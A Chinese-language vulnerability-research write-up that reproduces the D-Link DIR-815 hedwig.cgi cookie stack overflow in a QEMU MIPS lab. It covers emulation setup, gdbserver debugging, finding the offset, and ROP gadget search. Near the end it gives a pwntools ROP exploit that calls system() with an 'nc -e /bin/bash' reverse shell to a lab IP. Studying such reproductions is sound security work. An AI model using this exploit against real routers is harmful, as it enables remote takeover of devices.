DLink 815路由器栈溢出漏洞分析与复现

DLink 815路由器栈溢出漏洞分析与复现

qemu模拟环境搭建

固件下载地址

File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815

binwalk解压固件

binwalk -Me dir815.bin

得到文件系统：

查看bin/busybox得知是MIPS32，小端：

使用qemu-system-mipsel从系统角度进行模拟，就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载：

Index of /~aurel32/qemu

因为是小端，这里直接选择mipsel，然后下载其中两个文件：

debian_squeeze_mipsel_standard.qcow2是文件系统，vmlinux-3.2.0-4-4kc-malta是内核镜像。

然后编辑qemu启动脚本start.sh：

sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \

启动后输入用户名/密码 root/root或user/user即可登录qemu模拟的系统。

接下来在宿主机创建一个网卡，使qemu内能和宿主机通信。

安装依赖库：

sudo apt-get install bridge-utils uml-utilities

在宿主机编写如下文件保存为net.sh并运行：

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

可以使用ifconfig命令检查是否配置成功：

然后配置qemu虚拟系统的路由，在qemu虚拟系统中编写net.sh并运行：

#！/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

在qemu虚拟系统中使用ifconfig命令查看eth0地址是否更改为192.168.100.2：

此时宿主机应该可以和qemu虚拟系统互相ping通了：

随后使用scp命令将binwalk解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下：

scp -r squashfs-root/ [email protected]:/root

然后在qemu虚拟系统中将squashfs-root文件夹下的库文件替换掉原有的，此操作会改变文件系统，如果不小心退出了虚拟系统，再次启动qemu时会失败，原因是因为改变了文件系统的内容。此时需要使用新的文件系统，因此在此操作之前可以先备份一份。编写auto.sh并执行：

cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi

接下来在qemu虚拟系统的根目录（ / ）下，创建一个名为conf的文件，此文件是httpd服务的配置文件。内容如下：

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0         #网卡
    Address 192.168.100.2  #qemu的ip地址
    Port "4321"            #对应web访问端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

最后启动httpd服务：

./httpd -f conf

在宿主机浏览器中访问hedwig.cgi服务：

这里访问失败是因为hedwig.cgi服务没有收到请求，需要提前配置qemu虚拟环境中的REQUEST_METHOD等方法，因为httpd是读取的环境变量，这里就直接通过环境变量进行设置：

export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

这里在qemu虚拟系统中运行hedwig.cgi，再次访问http://192.168.100.2:4321/hedwig.cgi就可以正常收到内容了：

以上整个过程就是环境搭建部分，接下来就是使用gdbserver对hedwig.cgi进行调试了。

调试方法

需要在宿主机使用异构的gdb，在qemu虚拟系统中使用gdbserver来调试程序。首先在宿主机安装异构的gdb：

sudo apt install gdb-multiarch

然后在下面网址下载编译好的异构gdbserver，直接传到qemu虚拟系统中，或者自己在gdb官网下载源码交叉编译也行：

embedded-tools/binaries at master · rapid7/embedded-tools

gdbserver的用法如下：

./gdbserver 远程gdb的IP:port ./test

例如这里是用的：

./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi

最后在宿主机使用gdb-multiarch进行远程调试即可：

调试确定栈溢出偏移

因为hedwig.cgi是集成到cgibin中的，所以只需要将cgibin文件放到IDA中分析就行。通过查找资料和分析得知，程序的溢出点和HTTP_COOKIE字段有关。通过查找字符串引用，在IDA中查看伪代码如下：

它存在于sess_get_uid函数，getenv获取变量信息，因此可以通过设置全局变量来控制此参数。查看sess_get_uid函数的引用，在hedwigcgi_main函数中找到如下内容：

此处值得注意的是sprintf将string和字符串拼接，放入到v27变量中，并未对长度进行检查。接下来尝试打开文件/var/tmp/temp.xml，如果不存在就跳转到退出函数，如果文件存在，则顺序执行到以下代码：

此处的sprintf也未对长度进行检查，输入超长的字符串会发生栈溢出。使用如下调试脚本进行环境变量的设置，并启动调试端口：

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

使用gdb-multiarch远程调试，断在hedwig_cgi函数的返回地址，可以观察到s0-s7寄存器被我们的输入控制，如下：

最后看到控制了s0-s7，并且控制了ra寄存器，即控制了返回地址，依照我们上面调试脚本输入的内容，得知填充长度为1009即可控制返回地址：

构造ROP的方法

目的是为了劫持返回地址，调用libc中的system。但为了避免cache incoherency机制，这里使用system构造反弹shell，而非直接调用shellcode。首先要确定可以调用system的libc，使用vmmap查看得知为libc.so.0：

复制以下代码到ida的plugins目录中，并命名为mipsrop.py：

https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py

修改82行from shims import ida_shims为import ida_shims

复制以下代码到ida的plugins目录中，并命名为ida_shims.py：

import idc
import idaapi

try:
    import ida_bytes
except ImportError:
    ida_bytes = None

try:
    import ida_name
except ImportError:
    ida_name = None

try:
    import ida_kernwin
except ImportError:
    ida_kernwin = None

try:
    import ida_nalt
except ImportError:
    ida_nalt = None

try:
    import ida_ua
except ImportError:
    ida_ua = None

try:
    import ida_funcs
except ImportError:
    ida_funcs = None


def _get_fn_by_version(lib, curr_fn, archive_fn, archive_lib=None):
    if idaapi.IDA_SDK_VERSION >= 700:
        try:
            return getattr(lib, curr_fn)
        except AttributeError:
            raise Exception('%s is not a valid function in %s' % (curr_fn,
                                                                  lib))
    use_lib = lib if archive_lib is None else archive_lib
    try:
        return getattr(use_lib, archive_fn)
    except AttributeError:
        raise Exception('%s is not a valid function in %s' % (archive_fn,
                                                              use_lib))
def print_insn_mnem(ea):
    fn = _get_fn_by_version(idc, 'print_insn_mnem', 'GetMnem')
    return fn(ea)

def print_operand(ea, n):
    fn = _get_fn_by_version(idc, 'print_operand', 'GetOpnd')
    return fn(ea, n)

def define_local_var(start, end, location, name):
    fn = _get_fn_by_version(idc, 'define_local_var', 'MakeLocal')
    return fn(start, end, location, name)

def find_func_end(ea):
    fn = _get_fn_by_version(idc, 'find_func_end', 'FindFuncEnd')
    return fn(ea)


def is_code(flag):
    fn = _get_fn_by_version(ida_bytes, 'is_code', 'isCode', idaapi)
    return fn(flag)


def get_full_flags(ea):
    fn = _get_fn_by_version(ida_bytes, 'get_full_flags', 'getFlags', idaapi)
    return fn(ea)


def get_name(ea):
    fn = _get_fn_by_version(idc, 'get_name', 'Name')

    if idaapi.IDA_SDK_VERSION > 700:
        return fn(ea, ida_name.GN_VISIBLE)
    return fn(ea)


def get_func_off_str(ea):
    fn = _get_fn_by_version(idc, 'get_func_off_str', 'GetFuncOffset')
    return fn(ea)


def jumpto(ea, opnum=-1, uijmp_flags=0x0001):
    fn = _get_fn_by_version(ida_kernwin, 'jumpto', 'Jump', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, opnum, uijmp_flags)
    return fn(ea)


def ask_yn(default, format_str):
    fn = _get_fn_by_version(ida_kernwin, 'ask_yn', 'AskYN', idc)
    return fn(default, format_str)


def ask_file(for_saving, default, dialog):
    fn = _get_fn_by_version(ida_kernwin, 'ask_file', 'AskFile', idc)
    return fn(for_saving, default, dialog)


def get_func_attr(ea, attr):
    fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionAttr')
    return fn(ea, attr)


def get_name_ea_simple(name):
    fn = _get_fn_by_version(idc, 'get_name_ea_simple', 'LocByName')
    return fn(name)


def next_head(ea, maxea=4294967295):
    fn = _get_fn_by_version(idc, 'next_head', 'NextHead')
    return fn(ea, maxea)


def get_screen_ea():
    fn = _get_fn_by_version(idc, 'get_screen_ea', 'ScreenEA')
    return fn()


def choose_func(title):
    fn = _get_fn_by_version(idc, 'choose_func', 'ChooseFunction')
    return fn(title)


def ask_ident(default, prompt):
    fn = _get_fn_by_version(ida_kernwin, 'ask_str', 'AskIdent', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(default, ida_kernwin.HIST_IDENT, prompt)
    return fn(default, prompt)


def set_name(ea, name):
    fn = _get_fn_by_version(idc, 'set_name', 'MakeName')
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, name, ida_name.SN_CHECK)
    return fn(ea, name)


def get_wide_dword(ea):
    fn = _get_fn_by_version(idc, 'get_wide_dword', 'Dword')
    return fn(ea)


def get_strlit_contents(ea):
    fn = _get_fn_by_version(idc, 'get_strlit_contents', 'GetString')
    return fn(ea)


def get_func_name(ea):
    fn = _get_fn_by_version(idc, 'get_func_name', 'GetFunctionName')
    return fn(ea)


def get_first_seg():
    fn = _get_fn_by_version(idc, 'get_first_seg', 'FirstSeg')
    return fn()


def get_segm_attr(segea, attr):
    fn = _get_fn_by_version(idc, 'get_segm_attr', 'GetSegmentAttr')
    return fn(segea, attr)


def get_next_seg(ea):
    fn = _get_fn_by_version(idc, 'get_next_seg', 'NextSeg')
    return fn(ea)


def is_strlit(flags):
    fn = _get_fn_by_version(ida_bytes, 'is_strlit', 'isASCII', idc)
    return fn(flags)


def create_strlit(start, lenth):
    fn = _get_fn_by_version(ida_bytes, 'create_strlit', 'MakeStr', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(start, lenth, ida_nalt.STRTYPE_C)
    return fn(start, idc.BADADDR)


def is_unknown(flags):
    fn = _get_fn_by_version(ida_bytes, 'is_unknown', 'isUnknown', idc)
    return fn(flags)


def is_byte(flags):
    fn = _get_fn_by_version(ida_bytes, 'is_byte', 'isByte', idc)
    return fn(flags)


def create_dword(ea):
    fn = _get_fn_by_version(ida_bytes, 'create_data', 'MakeDword', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, ida_bytes.FF_DWORD, 4, idaapi.BADADDR)
    return fn(ea)


def op_plain_offset(ea, n, base):
    fn = _get_fn_by_version(idc, 'op_plain_offset', 'OpOff')
    return fn(ea, n, base)


def next_addr(ea):
    fn = _get_fn_by_version(ida_bytes, 'next_addr', 'NextAddr', idc)
    return fn(ea)


def can_decode(ea):
    fn = _get_fn_by_version(ida_ua, 'can_decode', 'decode_insn', idaapi)
    return fn(ea)


def get_operands(insn):
    if idaapi.IDA_SDK_VERSION >= 700:
        return insn.ops
    return idaapi.cmd.Operands


def get_canon_feature(insn):
    if idaapi.IDA_SDK_VERSION >= 700:
        return insn.get_canon_feature()
    return idaapi.cmd.get_canon_feature()


def get_segm_name(ea):
    fn = _get_fn_by_version(idc, 'get_segm_name', 'SegName')
    return fn(ea)


def add_func(ea):
    fn = _get_fn_by_version(ida_funcs, 'add_func', 'MakeFunction', idc)
    return fn(ea)


def create_insn(ea):
    fn = _get_fn_by_version(idc, 'create_insn', 'MakeCode')
    return fn(ea)


def get_segm_end(ea):
    fn = _get_fn_by_version(idc, 'get_segm_end', 'SegEnd')
    return fn(ea)


def get_segm_start(ea):
    fn = _get_fn_by_version(idc, 'get_segm_start', 'SegStart')
    return fn(ea)


def decode_insn(ea):
    fn = _get_fn_by_version(ida_ua, 'decode_insn', 'decode_insn', idaapi)
    if idaapi.IDA_SDK_VERSION >= 700:
        insn = ida_ua.insn_t()
        fn(insn, ea)
        return insn
    fn(ea)
    return idaapi.cmd


def get_bookmark(index):
    fn = _get_fn_by_version(idc, 'get_bookmark', 'GetMarkedPos')
    return fn(index)


def get_bookmark_desc(index):
    fn = _get_fn_by_version(idc, 'get_bookmark_desc', 'GetMarkComment')
    return fn(index)


def set_color(ea, what, color):
    fn = _get_fn_by_version(idc, 'set_color', 'SetColor')
    return fn(ea, what, color)


def msg(message):
    fn = _get_fn_by_version(ida_kernwin, 'msg', 'Message', idc)
    return fn(message)


def get_highlighted_identifier():
    fn = _get_fn_by_version(ida_kernwin, 'get_highlight',
                            'get_highlighted_identifier', idaapi)

    if idaapi.IDA_SDK_VERSION >= 700:
        viewer = ida_kernwin.get_current_viewer()
        highlight = fn(viewer)
        if highlight and highlight[1]:
            return highlight[0]
    return fn()


def start_ea(obj):
    if not obj:
        return None

    try:
        return obj.startEA
    except AttributeError:
        return obj.start_ea


def end_ea(obj):
    if not obj:
        return None

    try:
        return obj.endEA
    except AttributeError:
        return obj.end_ea


def set_func_flags(ea, flags):
    fn = _get_fn_by_version(idc, 'set_func_attr', 'SetFunctionFlags')
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, idc.FUNCATTR_FLAGS, flags)
    return fn(ea, flags)


def get_func_flags(ea):
    fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionFlags')
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, idc.FUNCATTR_FLAGS)
    return fn(ea)

之后在idapython输入框中输入：

import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

然后输入mipsrop.find("")即可查询可用的gadget：

根据《揭秘家用路由器0day漏洞挖掘技术》一书的方法：先将 system 函数的地址 -1 传入某个寄存器中，之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复，因此我们查找addiu $s0,1指令，选用gadgets：0x158c8

这个gadget可以将s0赋值为system函数地址。现在我们还需要找到给system函数传参的gadget。利用mipsrop.stackfinder，选用gadget：0x159cc。因为其既可以跳转至system函数，又可以通过s5给system函数传参：

编写exp

有了上面两个gadget之后，整体流程如下：

• 劫持地址-->0x158c8（给s0赋值为system函数地址，跳转至s5）
• 0x159cc(给system函数传参并跳转执行)

exp如下：

from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4                        # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += p32(base_addr+gadget2)         # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()

运行exp生成context，将congtext上传，然后运行hedwig.cgi服务：

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi

最后可以在宿主机可以得到一个qemu虚拟系统的shell：

总结

复现过程主要难点在于环境搭建、仿真模拟，由于没有硬件设备，通过仿真只能模拟出部分功能。我试了很多方式，比如像FirmAE和Firmadyne，或者是自己构建的docker镜像、openwrt虚拟机，都不是很好用，中途遇到无数多的问题不得不放弃这些方法，最后选择这种手动模拟的方式，这种方式应该适用于多数要求不是很高的模拟场景。

References

IOT设备漏洞挖掘从入门到入门（一）- DVRF系列题目分析 - 安全客，安全资讯平台

IOT设备漏洞挖掘从入门到入门（二）- DLink Dir 815漏洞分析及三种方式模拟复现 - 安全客，安全资讯平台

IOTsec-Zone 物联网安全社区

MIPS 汇编指令学习 - CobrAMG - 博客园